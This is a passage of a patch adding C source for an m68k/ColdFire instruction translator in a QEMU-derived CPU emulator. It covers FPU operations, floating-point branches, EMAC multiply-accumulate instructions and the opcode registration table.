tcg_gen_mov_i32(tcg_ctx, tmp32, AREG(insn, 0)); + switch ((insn >> 3) & 7) { + case 2: + case 3: + break; + case 4: + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, -8); + break; + case 5: + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, offset); + break; + default: + goto undef; + } + gen_store64(s, tmp32, src); + switch ((insn >> 3) & 7) { + case 3: + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, 8); + tcg_gen_mov_i32(tcg_ctx, AREG(insn, 0), tmp32); + break; + case 4: + tcg_gen_mov_i32(tcg_ctx, AREG(insn, 0), tmp32); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp32); + return; + case 6: + opsize = OS_BYTE; + gen_helper_f64_to_i32(tcg_ctx, tmp32, tcg_ctx->cpu_env, src); + break; + default: + goto undef; + } + DEST_EA(env, insn, opsize, tmp32, NULL); + tcg_temp_free_i32(tcg_ctx, tmp32); + return; + case 4: /* fmove to control register. */ + switch ((ext >> 10) & 7) { + case 4: /* FPCR */ + /* Not implemented. Ignore writes. */ + break; + case 1: /* FPIAR */ + case 2: /* FPSR */ + default: + qemu_log("Unimplemented: fmove to control %d\n", + (ext >> 10) & 7); + goto undef; + } + break; + case 5: /* fmove from control register. */ + switch ((ext >> 10) & 7) { + case 4: /* FPCR */ + /* Not implemented. Always return zero. */ + tmp32 = tcg_const_i32(tcg_ctx, 0); + break; + case 1: /* FPIAR */ + case 2: /* FPSR */ + default: + qemu_log("Unimplemented: fmove from control %d\n", + (ext >> 10) & 7); + goto undef; + } + DEST_EA(env, insn, OS_LONG, tmp32, NULL); + break; + case 6: /* fmovem */ + case 7: + { + TCGv addr; + uint16_t mask; + int i; + if ((ext & 0x1f00) != 0x1000 || (ext & 0xff) == 0) + goto undef; + tmp32 = gen_lea(env, s, insn, OS_LONG); + if (IS_NULL_QREG(tmp32)) { + gen_addr_fault(s); + return; + } + addr = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, addr, tmp32); + mask = 0x80; + for (i = 0; i < 8; i++) { + if (ext & mask) { + s->is_mem = 1; + dest = FREG(i, 0); + if (ext & (1 << 13)) { + /* store */ + tcg_gen_qemu_stf64(s->uc, dest, addr, IS_USER(s)); + } else { + /* load */ + tcg_gen_qemu_ldf64(s->uc, dest, addr, IS_USER(s)); + } + if (ext & (mask - 1)) + tcg_gen_addi_i32(tcg_ctx, addr, addr, 8); + } + mask >>= 1; + } + tcg_temp_free_i32(tcg_ctx, addr); + } + return; + } + if (ext & (1 << 14)) { + /* Source effective address. */ + switch ((ext >> 10) & 7) { + case 0: opsize = OS_LONG; break; + case 1: opsize = OS_SINGLE; break; + case 4: opsize = OS_WORD; break; + case 5: opsize = OS_DOUBLE; break; + case 6: opsize = OS_BYTE; break; + default: + goto undef; + } + if (opsize == OS_DOUBLE) { + tmp32 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp32, AREG(insn, 0)); + switch ((insn >> 3) & 7) { + case 2: + case 3: + break; + case 4: + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, -8); + break; + case 5: + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, offset); + break; + case 7: + offset = cpu_ldsw_code(env, s->pc); + offset += s->pc - 2; + s->pc += 2; + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, offset); + break; + default: + goto undef; + } + src = gen_load64(s, tmp32); + switch ((insn >> 3) & 7) { + case 3: + tcg_gen_addi_i32(tcg_ctx, tmp32, tmp32, 8); + tcg_gen_mov_i32(tcg_ctx, AREG(insn, 0), tmp32); + break; + case 4: + tcg_gen_mov_i32(tcg_ctx, AREG(insn, 0), tmp32); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp32); + } else { + SRC_EA(env, tmp32, opsize, 1, NULL); + src = tcg_temp_new_i64(tcg_ctx); + switch (opsize) { + case OS_LONG: + case OS_WORD: + case OS_BYTE: + gen_helper_i32_to_f64(tcg_ctx, src, tcg_ctx->cpu_env, tmp32); + break; + case OS_SINGLE: + gen_helper_f32_to_f64(tcg_ctx, src, tcg_ctx->cpu_env, tmp32); + break; + } + } + } else { + /* Source register. */ + src = FREG(ext, 10); + } + dest = FREG(ext, 7); + res = tcg_temp_new_i64(tcg_ctx); + if (opmode != 0x3a) + tcg_gen_mov_f64(tcg_ctx, res, dest); + round = 1; + set_dest = 1; + switch (opmode) { + case 0: case 0x40: case 0x44: /* fmove */ + tcg_gen_mov_f64(tcg_ctx, res, src); + break; + case 1: /* fint */ + gen_helper_iround_f64(tcg_ctx, res, tcg_ctx->cpu_env, src); + round = 0; + break; + case 3: /* fintrz */ + gen_helper_itrunc_f64(tcg_ctx, res, tcg_ctx->cpu_env, src); + round = 0; + break; + case 4: case 0x41: case 0x45: /* fsqrt */ + gen_helper_sqrt_f64(tcg_ctx, res, tcg_ctx->cpu_env, src); + break; + case 0x18: case 0x58: case 0x5c: /* fabs */ + gen_helper_abs_f64(tcg_ctx, res, src); + break; + case 0x1a: case 0x5a: case 0x5e: /* fneg */ + gen_helper_chs_f64(tcg_ctx, res, src); + break; + case 0x20: case 0x60: case 0x64: /* fdiv */ + gen_helper_div_f64(tcg_ctx, res, tcg_ctx->cpu_env, res, src); + break; + case 0x22: case 0x62: case 0x66: /* fadd */ + gen_helper_add_f64(tcg_ctx, res, tcg_ctx->cpu_env, res, src); + break; + case 0x23: case 0x63: case 0x67: /* fmul */ + gen_helper_mul_f64(tcg_ctx, res, tcg_ctx->cpu_env, res, src); + break; + case 0x28: case 0x68: case 0x6c: /* fsub */ + gen_helper_sub_f64(tcg_ctx, res, tcg_ctx->cpu_env, res, src); + break; + case 0x38: /* fcmp */ + gen_helper_sub_cmp_f64(tcg_ctx, res, tcg_ctx->cpu_env, res, src); + set_dest = 0; + round = 0; + break; + case 0x3a: /* ftst */ + tcg_gen_mov_f64(tcg_ctx, res, src); + set_dest = 0; + round = 0; + break; + default: + goto undef; + } + if (ext & (1 << 14)) { + tcg_temp_free_i64(tcg_ctx, src); + } + if (round) { + if (opmode & 0x40) { + if ((opmode & 0x4) != 0) + round = 0; + } else if ((s->fpcr & M68K_FPCR_PREC) == 0) { + round = 0; + } + } + if (round) { + TCGv tmp = tcg_temp_new_i32(tcg_ctx); + gen_helper_f64_to_f32(tcg_ctx, tmp, tcg_ctx->cpu_env, res); + gen_helper_f32_to_f64(tcg_ctx, res, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_mov_f64(tcg_ctx, tcg_ctx->QREG_FP_RESULT, res); + if (set_dest) { + tcg_gen_mov_f64(tcg_ctx, dest, res); + } + tcg_temp_free_i64(tcg_ctx, res); + return; +undef: + /* FIXME: Is this right for offset addressing modes? */ + s->pc -= 2; + disas_undef_fpu(env, s, insn); +} + +DISAS_INSN(fbcc) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint32_t offset; + uint32_t addr; + TCGv flag; + int l1; + + addr = s->pc; + offset = cpu_ldsw_code(env, s->pc); + s->pc += 2; + if (insn & (1 << 6)) { + offset = (offset << 16) | cpu_lduw_code(env, s->pc); + s->pc += 2; + } + + l1 = gen_new_label(tcg_ctx); + /* TODO: Raise BSUN exception. */ + flag = tcg_temp_new(tcg_ctx); + gen_helper_compare_f64(tcg_ctx, flag, tcg_ctx->cpu_env, tcg_ctx->QREG_FP_RESULT); + /* Jump to l1 if condition is true. */ + switch (insn & 0xf) { + case 0: /* f */ + break; + case 1: /* eq (=0) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_EQ, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 2: /* ogt (=1) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_EQ, flag, tcg_const_i32(tcg_ctx, 1), l1); + break; + case 3: /* oge (=0 or =1) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_LEU, flag, tcg_const_i32(tcg_ctx, 1), l1); + break; + case 4: /* olt (=-1) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_LT, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 5: /* ole (=-1 or =0) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_LE, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 6: /* ogl (=-1 or =1) */ + tcg_gen_andi_i32(tcg_ctx, flag, flag, 1); + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_NE, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 7: /* or (=2) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_EQ, flag, tcg_const_i32(tcg_ctx, 2), l1); + break; + case 8: /* un (<2) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_LT, flag, tcg_const_i32(tcg_ctx, 2), l1); + break; + case 9: /* ueq (=0 or =2) */ + tcg_gen_andi_i32(tcg_ctx, flag, flag, 1); + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_EQ, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 10: /* ugt (>0) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_GT, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 11: /* uge (>=0) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_GE, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 12: /* ult (=-1 or =2) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_GEU, flag, tcg_const_i32(tcg_ctx, 2), l1); + break; + case 13: /* ule (!=1) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_NE, flag, tcg_const_i32(tcg_ctx, 1), l1); + break; + case 14: /* ne (!=0) */ + tcg_gen_brcond_i32(tcg_ctx, TCG_COND_NE, flag, tcg_const_i32(tcg_ctx, 0), l1); + break; + case 15: /* t */ + tcg_gen_br(tcg_ctx, l1); + break; + } + gen_jmp_tb(s, 0, s->pc); + gen_set_label(tcg_ctx, l1); + gen_jmp_tb(s, 1, addr + offset); +} + +DISAS_INSN(frestore) +{ + M68kCPU *cpu = m68k_env_get_cpu(env); + + /* TODO: Implement frestore. */ + cpu_abort(CPU(cpu), "FRESTORE not implemented"); +} + +DISAS_INSN(fsave) +{ + M68kCPU *cpu = m68k_env_get_cpu(env); + + /* TODO: Implement fsave. */ + cpu_abort(CPU(cpu), "FSAVE not implemented"); +} + +static inline TCGv gen_mac_extract_word(DisasContext *s, TCGv val, int upper) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv tmp = tcg_temp_new(tcg_ctx); + if (s->env->macsr & MACSR_FI) { + if (upper) + tcg_gen_andi_i32(tcg_ctx, tmp, val, 0xffff0000); + else + tcg_gen_shli_i32(tcg_ctx, tmp, val, 16); + } else if (s->env->macsr & MACSR_SU) { + if (upper) + tcg_gen_sari_i32(tcg_ctx, tmp, val, 16); + else + tcg_gen_ext16s_i32(tcg_ctx, tmp, val); + } else { + if (upper) + tcg_gen_shri_i32(tcg_ctx, tmp, val, 16); + else + tcg_gen_ext16u_i32(tcg_ctx, tmp, val); + } + return tmp; +} + +static void gen_mac_clear_flags(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_MACSR, *(TCGv *)tcg_ctx->QREG_MACSR, + ~(MACSR_V | MACSR_Z | MACSR_N | MACSR_EV)); +} + +DISAS_INSN(mac) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv rx; + TCGv ry; + uint16_t ext; + int acc; + TCGv tmp; + TCGv addr; + TCGv loadval; + int dual; + TCGv saved_flags; + + if (!s->done_mac) { + s->mactmp = tcg_temp_new_i64(tcg_ctx); + s->done_mac = 1; + } + + ext = cpu_lduw_code(env, s->pc); + s->pc += 2; + + acc = ((insn >> 7) & 1) | ((ext >> 3) & 2); + dual = ((insn & 0x30) != 0 && (ext & 3) != 0); + if (dual && !m68k_feature(s->env, M68K_FEATURE_CF_EMAC_B)) { + disas_undef(env, s, insn); + return; + } + if (insn & 0x30) { + /* MAC with load. */ + tmp = gen_lea(env, s, insn, OS_LONG); + addr = tcg_temp_new(tcg_ctx); + tcg_gen_and_i32(tcg_ctx, addr, tmp, *(TCGv *)tcg_ctx->QREG_MAC_MASK); + /* Load the value now to ensure correct exception behavior. + Perform writeback after reading the MAC inputs. */ + loadval = gen_load(s, OS_LONG, addr, 0); + + acc ^= 1; + rx = (ext & 0x8000) ? AREG(ext, 12) : DREG(insn, 12); + ry = (ext & 8) ? AREG(ext, 0) : DREG(ext, 0); + } else { + loadval = addr = *(TCGv *)tcg_ctx->NULL_QREG; + rx = (insn & 0x40) ? AREG(insn, 9) : DREG(insn, 9); + ry = (insn & 8) ? AREG(insn, 0) : DREG(insn, 0); + } + + gen_mac_clear_flags(s); +#if 0 + l1 = -1; + /* Disabled because conditional branches clobber temporary vars. */ + if ((s->env->macsr & MACSR_OMC) != 0 && !dual) { + /* Skip the multiply if we know we will ignore it. */ + l1 = gen_new_label(tcg_ctx); + tmp = tcg_temp_new(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, tmp, *(TCGv *)tcg_ctx->QREG_MACSR, 1 << (acc + 8)); + gen_op_jmp_nz32(tmp, l1); + } +#endif + + if ((ext & 0x0800) == 0) { + /* Word. */ + rx = gen_mac_extract_word(s, rx, (ext & 0x80) != 0); + ry = gen_mac_extract_word(s, ry, (ext & 0x40) != 0); + } + if (s->env->macsr & MACSR_FI) { + gen_helper_macmulf(tcg_ctx, s->mactmp, tcg_ctx->cpu_env, rx, ry); + } else { + if (s->env->macsr & MACSR_SU) + gen_helper_macmuls(tcg_ctx, s->mactmp, tcg_ctx->cpu_env, rx, ry); + else + gen_helper_macmulu(tcg_ctx, s->mactmp, tcg_ctx->cpu_env, rx, ry); + switch ((ext >> 9) & 3) { + case 1: + tcg_gen_shli_i64(tcg_ctx, s->mactmp, s->mactmp, 1); + break; + case 3: + tcg_gen_shri_i64(tcg_ctx, s->mactmp, s->mactmp, 1); + break; + } + } + + if (dual) { + /* Save the overflow flag from the multiply. */ + saved_flags = tcg_temp_new(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, saved_flags, *(TCGv *)tcg_ctx->QREG_MACSR); + } else { + saved_flags = *(TCGv *)tcg_ctx->NULL_QREG; + } + +#if 0 + /* Disabled because conditional branches clobber temporary vars. */ + if ((s->env->macsr & MACSR_OMC) != 0 && dual) { + /* Skip the accumulate if the value is already saturated. */ + l1 = gen_new_label(tcg_ctx); + tmp = tcg_temp_new(tcg_ctx); + gen_op_and32(tmp, *(TCGv *)tcg_ctx->QREG_MACSR, tcg_const_i32(tcg_ctx, MACSR_PAV0 << acc)); + gen_op_jmp_nz32(tmp, l1); + } +#endif + + if (insn & 0x100) + tcg_gen_sub_i64(tcg_ctx, MACREG(acc), MACREG(acc), s->mactmp); + else + tcg_gen_add_i64(tcg_ctx, MACREG(acc), MACREG(acc), s->mactmp); + + if (s->env->macsr & MACSR_FI) + gen_helper_macsatf(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + else if (s->env->macsr & MACSR_SU) + gen_helper_macsats(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + else + gen_helper_macsatu(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + +#if 0 + /* Disabled because conditional branches clobber temporary vars. */ + if (l1 != -1) + gen_set_label(tcg_ctx, l1); +#endif + + if (dual) { + /* Dual accumulate variant. */ + acc = (ext >> 2) & 3; + /* Restore the overflow flag from the multiplier. */ + tcg_gen_mov_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_MACSR, saved_flags); +#if 0 + /* Disabled because conditional branches clobber temporary vars. */ + if ((s->env->macsr & MACSR_OMC) != 0) { + /* Skip the accumulate if the value is already saturated. */ + l1 = gen_new_label(tcg_ctx); + tmp = tcg_temp_new(tcg_ctx); + gen_op_and32(tmp, *(TCGv *)tcg_ctx->QREG_MACSR, tcg_const_i32(tcg_ctx, MACSR_PAV0 << acc)); + gen_op_jmp_nz32(tmp, l1); + } +#endif + if (ext & 2) + tcg_gen_sub_i64(tcg_ctx, MACREG(acc), MACREG(acc), s->mactmp); + else + tcg_gen_add_i64(tcg_ctx, MACREG(acc), MACREG(acc), s->mactmp); + if (s->env->macsr & MACSR_FI) + gen_helper_macsatf(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + else if (s->env->macsr & MACSR_SU) + gen_helper_macsats(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + else + gen_helper_macsatu(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); +#if 0 + /* Disabled because conditional branches clobber temporary vars. */ + if (l1 != -1) + gen_set_label(tcg_ctx, l1); +#endif + } + gen_helper_mac_set_flags(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, acc)); + + if (insn & 0x30) { + TCGv rw; + rw = (insn & 0x40) ? AREG(insn, 9) : DREG(insn, 9); + tcg_gen_mov_i32(tcg_ctx, rw, loadval); + /* FIXME: Should address writeback happen with the masked or + unmasked value? */ + switch ((insn >> 3) & 7) { + case 3: /* Post-increment. */ + tcg_gen_addi_i32(tcg_ctx, AREG(insn, 0), addr, 4); + break; + case 4: /* Pre-decrement. */ + tcg_gen_mov_i32(tcg_ctx, AREG(insn, 0), addr); + } + } +} + +DISAS_INSN(from_mac) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv rx; + TCGv_i64 acc; + int accnum; + + rx = (insn & 8) ? AREG(insn, 0) : DREG(insn, 0); + accnum = (insn >> 9) & 3; + acc = MACREG(accnum); + if (s->env->macsr & MACSR_FI) { + gen_helper_get_macf(tcg_ctx, rx, tcg_ctx->cpu_env, acc); + } else if ((s->env->macsr & MACSR_OMC) == 0) { + tcg_gen_trunc_i64_i32(tcg_ctx, rx, acc); + } else if (s->env->macsr & MACSR_SU) { + gen_helper_get_macs(tcg_ctx, rx, acc); + } else { + gen_helper_get_macu(tcg_ctx, rx, acc); + } + if (insn & 0x40) { + tcg_gen_movi_i64(tcg_ctx, acc, 0); + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_MACSR, *(TCGv *)tcg_ctx->QREG_MACSR, ~(MACSR_PAV0 << accnum)); + } +} + +DISAS_INSN(move_mac) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + /* FIXME: This can be done without a helper. */ + int src; + TCGv dest; + src = insn & 3; + dest = tcg_const_i32(tcg_ctx, (insn >> 9) & 3); + gen_helper_mac_move(tcg_ctx, tcg_ctx->cpu_env, dest, tcg_const_i32(tcg_ctx, src)); + gen_mac_clear_flags(s); + gen_helper_mac_set_flags(tcg_ctx, tcg_ctx->cpu_env, dest); +} + +DISAS_INSN(from_macsr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + + reg = (insn & 8) ? AREG(insn, 0) : DREG(insn, 0); + tcg_gen_mov_i32(tcg_ctx, reg, *(TCGv *)tcg_ctx->QREG_MACSR); +} + +DISAS_INSN(from_mask) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + reg = (insn & 8) ? AREG(insn, 0) : DREG(insn, 0); + tcg_gen_mov_i32(tcg_ctx, reg, *(TCGv *)tcg_ctx->QREG_MAC_MASK); +} + +DISAS_INSN(from_mext) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv reg; + TCGv acc; + reg = (insn & 8) ? AREG(insn, 0) : DREG(insn, 0); + acc = tcg_const_i32(tcg_ctx, (insn & 0x400) ? 2 : 0); + if (s->env->macsr & MACSR_FI) + gen_helper_get_mac_extf(tcg_ctx, reg, tcg_ctx->cpu_env, acc); + else + gen_helper_get_mac_exti(tcg_ctx, reg, tcg_ctx->cpu_env, acc); +} + +DISAS_INSN(macsr_to_ccr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_X, 0); + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_CC_DEST, *(TCGv *)tcg_ctx->QREG_MACSR, 0xf); + s->cc_op = CC_OP_FLAGS; +} + +DISAS_INSN(to_mac) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 acc; + TCGv val; + int accnum; + accnum = (insn >> 9) & 3; + acc = MACREG(accnum); + SRC_EA(env, val, OS_LONG, 0, NULL); + if (s->env->macsr & MACSR_FI) { + tcg_gen_ext_i32_i64(tcg_ctx, acc, val); + tcg_gen_shli_i64(tcg_ctx, acc, acc, 8); + } else if (s->env->macsr & MACSR_SU) { + tcg_gen_ext_i32_i64(tcg_ctx, acc, val); + } else { + tcg_gen_extu_i32_i64(tcg_ctx, acc, val); + } + tcg_gen_andi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_MACSR, *(TCGv *)tcg_ctx->QREG_MACSR, ~(MACSR_PAV0 << accnum)); + gen_mac_clear_flags(s); + gen_helper_mac_set_flags(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, accnum)); +} + +DISAS_INSN(to_macsr) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv val; + SRC_EA(env, val, OS_LONG, 0, NULL); + gen_helper_set_macsr(tcg_ctx, tcg_ctx->cpu_env, val); + gen_lookup_tb(s); +} + +DISAS_INSN(to_mask) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv val; + SRC_EA(env, val, OS_LONG, 0, NULL); + tcg_gen_ori_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_MAC_MASK, val, 0xffff0000); +} + +DISAS_INSN(to_mext) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv val; + TCGv acc; + SRC_EA(env, val, OS_LONG, 0, NULL); + acc = tcg_const_i32(tcg_ctx, (insn & 0x400) ? 2 : 0); + if (s->env->macsr & MACSR_FI) + gen_helper_set_mac_extf(tcg_ctx, tcg_ctx->cpu_env, val, acc); + else if (s->env->macsr & MACSR_SU) + gen_helper_set_mac_exts(tcg_ctx, tcg_ctx->cpu_env, val, acc); + else + gen_helper_set_mac_extu(tcg_ctx, tcg_ctx->cpu_env, val, acc); +} + +static void +register_opcode(TCGContext *tcg_ctx, disas_proc proc, uint16_t opcode, uint16_t mask) +{ + int i; + int from; + int to; + + /* Sanity check. All set bits must be included in the mask. */ + if (opcode & ~mask) { + fprintf(stderr, + "qemu internal error: bogus opcode definition %04x/%04x\n", + opcode, mask); + abort(); + } + /* This could probably be cleverer. For now just optimize the case where + the top bits are known. */ + /* Find the first zero bit in the mask. */ + i = 0x8000; + while ((i & mask) != 0) + i >>= 1; + /* Iterate over all combinations of this and lower bits. */ + if (i == 0) + i = 1; + else + i <<= 1; + from = opcode & ~(i - 1); + to = from + i; + for (i = from; i < to; i++) { + if ((i & mask) == opcode) { + tcg_ctx->opcode_table[i] = proc; + } + } +} + +/* Register m68k opcode handlers. Order is important. + Later insn override earlier ones. */ +void register_m68k_insns (CPUM68KState *env) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; +#define INSN(name, opcode, mask, feature) do { \ + if (m68k_feature(env, M68K_FEATURE_##feature)) \ + register_opcode(tcg_ctx, disas_##name, 0x##opcode, 0x##mask); \ + } while(0) + INSN(undef, 0000, 0000, CF_ISA_A); + INSN(arith_im, 0080, fff8, CF_ISA_A); + INSN(bitrev, 00c0, fff8, CF_ISA_APLUSC); + INSN(bitop_reg, 0100, f1c0, CF_ISA_A); + INSN(bitop_reg, 0140, f1c0, CF_ISA_A); + INSN(bitop_reg, 0180, f1c0, CF_ISA_A); + INSN(bitop_reg, 01c0, f1c0, CF_ISA_A); + INSN(arith_im, 0280, fff8, CF_ISA_A); + INSN(byterev, 02c0, fff8, CF_ISA_APLUSC); + INSN(arith_im, 0480, fff8, CF_ISA_A); + INSN(ff1, 04c0, fff8, CF_ISA_APLUSC); + INSN(arith_im, 0680, fff8, CF_ISA_A); + INSN(bitop_im, 0800, ffc0, CF_ISA_A); + INSN(bitop_im, 0840, ffc0, CF_ISA_A); + INSN(bitop_im, 0880, ffc0, CF_ISA_A); + INSN(bitop_im, 08c0, ffc0, CF_ISA_A); + INSN(arith_im, 0a80, fff8, CF_ISA_A); + INSN(arith_im, 0c00, ff38, CF_ISA_A); + INSN(move, 1000, f000, CF_ISA_A); + INSN(move, 2000, f000, CF_ISA_A); + INSN(move, 3000, f000, CF_ISA_A); + INSN(strldsr, 40e7, ffff, CF_ISA_APLUSC); + INSN(negx, 4080, fff8, CF_ISA_A); + INSN(move_from_sr, 40c0, fff8, CF_ISA_A); + INSN(lea, 41c0, f1c0, CF_ISA_A); + INSN(clr, 4200, ff00, CF_ISA_A); + INSN(undef, 42c0, ffc0, CF_ISA_A); + INSN(move_from_ccr, 42c0, fff8, CF_ISA_A); + INSN(neg, 4480, fff8, CF_ISA_A); + INSN(move_to_ccr, 44c0, ffc0, CF_ISA_A); + INSN(not, 4680, fff8, CF_ISA_A); + INSN(move_to_sr, 46c0, ffc0, CF_ISA_A); + INSN(pea, 4840, ffc0, CF_ISA_A); + INSN(swap, 4840, fff8, CF_ISA_A); + INSN(movem, 48c0, fbc0, CF_ISA_A); + INSN(ext, 4880, fff8, CF_ISA_A); + INSN(ext, 48c0, fff8, CF_ISA_A); + INSN(ext, 49c0, fff8, CF_ISA_A); + INSN(tst, 4a00, ff00, CF_ISA_A); + INSN(tas, 4ac0, ffc0, CF_ISA_B); + INSN(halt, 4ac8, ffff, CF_ISA_A); + INSN(pulse, 4acc, ffff, CF_ISA_A); + INSN(illegal, 4afc, ffff, CF_ISA_A); + INSN(mull, 4c00, ffc0, CF_ISA_A); + INSN(divl, 4c40, ffc0, CF_ISA_A); + INSN(sats, 4c80, fff8, CF_ISA_B); + INSN(trap, 4e40, fff0, CF_ISA_A); + INSN(link, 4e50, fff8, CF_ISA_A); + INSN(unlk, 4e58, fff8, CF_ISA_A); + INSN(move_to_usp, 4e60, fff8, USP); + INSN(move_from_usp, 4e68, fff8, USP); + INSN(nop, 4e71, ffff, CF_ISA_A); + INSN(stop, 4e72, ffff, CF_ISA_A); + INSN(rte, 4e73, ffff, CF_ISA_A); + INSN(rts, 4e75, ffff, CF_ISA_A); + INSN(movec, 4e7b, ffff, CF_ISA_A); + INSN(jump, 4e80, ffc0, CF_ISA_A); + INSN(jump, 4ec0, ffc0, CF_ISA_A); + INSN(addsubq, 5180, f1c0, CF_ISA_A); + INSN(scc, 50c0, f0f8, CF_ISA_A); + INSN(addsubq, 5080, f1c0, CF_ISA_A); + INSN(tpf, 51f8, fff8, CF_ISA_A); + + /* Branch instructions. */ + INSN(branch, 6000, f000, CF_ISA_A); + /* Disable long branch instructions, then add back the ones we want. */ + INSN(undef, 60ff, f0ff, CF_ISA_A); /* All long branches. */ + INSN(branch, 60ff, f0ff, CF_ISA_B); + INSN(undef, 60ff, ffff, CF_ISA_B); /* bra.l */ + INSN(branch, 60ff, ffff, BRAL); + + INSN(moveq, 7000, f100, CF_ISA_A); + INSN(mvzs, 7100, f100, CF_ISA_B); + INSN(or, 8000, f000, CF_ISA_A); + INSN(divw, 80c0, f0c0, CF_ISA_A); + INSN(addsub, 9000, f000, CF_ISA_A); + INSN(subx, 9180, f1f8, CF_ISA_A); + INSN(suba, 91c0, f1c0, CF_ISA_A); + + INSN(undef_mac, a000, f000, CF_ISA_A); + INSN(mac, a000, f100, CF_EMAC); + INSN(from_mac, a180, f9b0, CF_EMAC); + INSN(move_mac, a110, f9fc, CF_EMAC); + INSN(from_macsr,a980, f9f0, CF_EMAC); + INSN(from_mask, ad80, fff0, CF_EMAC); + INSN(from_mext, ab80, fbf0, CF_EMAC); + INSN(macsr_to_ccr, a9c0, ffff, CF_EMAC); + INSN(to_mac, a100, f9c0, CF_EMAC); + INSN(to_macsr, a900, ffc0, CF_EMAC); + INSN(to_mext, ab00, fbc0, CF_EMAC); + INSN(to_mask, ad00, ffc0, CF_EMAC); + + INSN(mov3q, a140, f1c0, CF_ISA_B); + INSN(cmp, b000, f1c0, CF_ISA_B); /* cmp.b */ + INSN(cmp, b040, f1c0, CF_ISA_B); /* cmp.w */ + INSN(cmpa, b0c0, f1c0, CF_ISA_B); /* cmpa.w */ + INSN(cmp, b080, f1c0, CF_ISA_A); + INSN(cmpa, b1c0, f1c0, CF_ISA_A); + INSN(eor, b180, f1c0, CF_ISA_A); + INSN(and, c000, f000, CF_ISA_A); + INSN(mulw, c0c0, f0c0, CF_ISA_A); + INSN(addsub, d000, f000, CF_ISA_A); + INSN(addx, d180, f1f8, CF_ISA_A); + INSN(adda, d1c0, f1c0, CF_ISA_A); + INSN(shift_im, e080, f0f0, CF_ISA_A); + INSN(shift_reg, e0a0, f0f0, CF_ISA_A); + INSN(undef_fpu, f000, f000, CF_ISA_A); + INSN(fpu, f200, ffc0, CF_FPU); + INSN(fbcc, f280, ffc0, CF_FPU); + INSN(frestore, f340, ffc0, CF_FPU); + INSN(fsave, f340, ffc0, CF_FPU); + INSN(intouch, f340, ffc0, CF_ISA_A); + INSN(cpushl, f428, ff38, CF_ISA_A); + INSN(wddata, fb00, ff00, CF_ISA_A); + INSN(wdebug, fbc0, ffc0, CF_ISA_A); +#undef INSN +} + +/* ??? Some of this implementation is not exception safe. We should always + write back the result to memory before setting the condition 